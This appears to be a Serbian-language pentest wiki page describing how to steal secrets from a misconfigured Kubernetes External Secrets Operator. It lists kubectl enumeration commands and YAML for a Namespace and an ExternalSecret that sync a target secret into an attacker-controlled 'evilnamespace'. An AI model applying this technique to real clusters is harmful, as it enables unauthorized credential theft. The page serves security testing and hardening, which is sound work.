Kubernetes Namespace Escalation

Originalni autor ove stranice je Fares

Ova stranica pruža neke smernice o tome kako možete uspeti da ukradete tajne iz nepravilno konfigurisanog ESO-a ili aplikacije koja koristi ESO za sinhronizaciju svojih tajni.

Odricanje od odgovornosti

Tehnika prikazana u nastavku može raditi samo kada su ispunjeni određeni uslovi. Na primer, zavisi od zahteva potrebnih da se dozvoli sinhronizacija tajne u namespace-u koji posedujete / kompromitovali ste. Morate sami da to shvatite.

Pretpostavke

  1. Pristup u kubernetes / openshift klasteru sa administratorskim privilegijama na namespace-u

  2. Pravo čitanja bar jednog ExternalSecret-a na nivou klastera

  3. Otkrijte da li postoje potrebne oznake / anotacije ili članstvo u grupi potrebno koje omogućava ESO-u da sinhronizuje vašu tajnu. Ako imate sreće, možete slobodno ukrasti bilo koju definisanu tajnu.

Prikupljanje informacija o postojećem ClusterSecretStore-u

Pretpostavljajući da imate korisnika koji ima dovoljno prava da čita ovaj resurs; počnite tako što ćete prvo navesti postojeće ClusterSecretStore-ove.

kubectl get ClusterSecretStore

Enumeracija spoljnih tajni

Pretpostavimo da ste pronašli ClusterSecretStore nazvan mystore. Nastavite tako što ćete izlistati njegove povezane spoljne tajne.

kubectl get externalsecret -A | grep mystore

Ovaj resurs je ograničen na prostor imena, pa ako već ne znate u kojem prostoru imena da tražite, dodajte opciju -A da pretražite sve prostore imena.

Trebalo bi da dobijete listu definisanih spoljnih tajni. Pretpostavimo da ste pronašli objekat spoljne tajne nazvan mysecret definisan i korišćen u prostoru imena mynamespace. Prikupite još malo informacija o vrsti tajne koju čuva.

kubectl get externalsecret myexternalsecret -n mynamespace -o yaml

Sastavljanje delova

Odavde možete dobiti ime jednog ili više imena tajni (kao što je definisano u resursu Secret). Dobićete izlaz sličan ovom:

kind: ExternalSecret
metadata:
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...

Trenutno imamo:

  • Ime ClusterSecretStore-a

  • Ime Spoljnog tajnog ključa

  • Ime tajnog ključa

Sada kada imamo sve što nam je potrebno, možete kreirati Spoljni tajni ključ (i eventualno ažurirati/kreirati novi Namespace kako bi se ispunili preduslovi potrebni za sinhronizaciju vašeg novog tajnog ključa):

kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret
kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace

Nakon nekoliko minuta, ako su ispunjeni uslovi sinhronizacije, trebalo bi da možete videti procurjelu tajnu unutar vašeg namespace-a.

kubectl get secret leaked_secret -o yaml

Reference

Last updated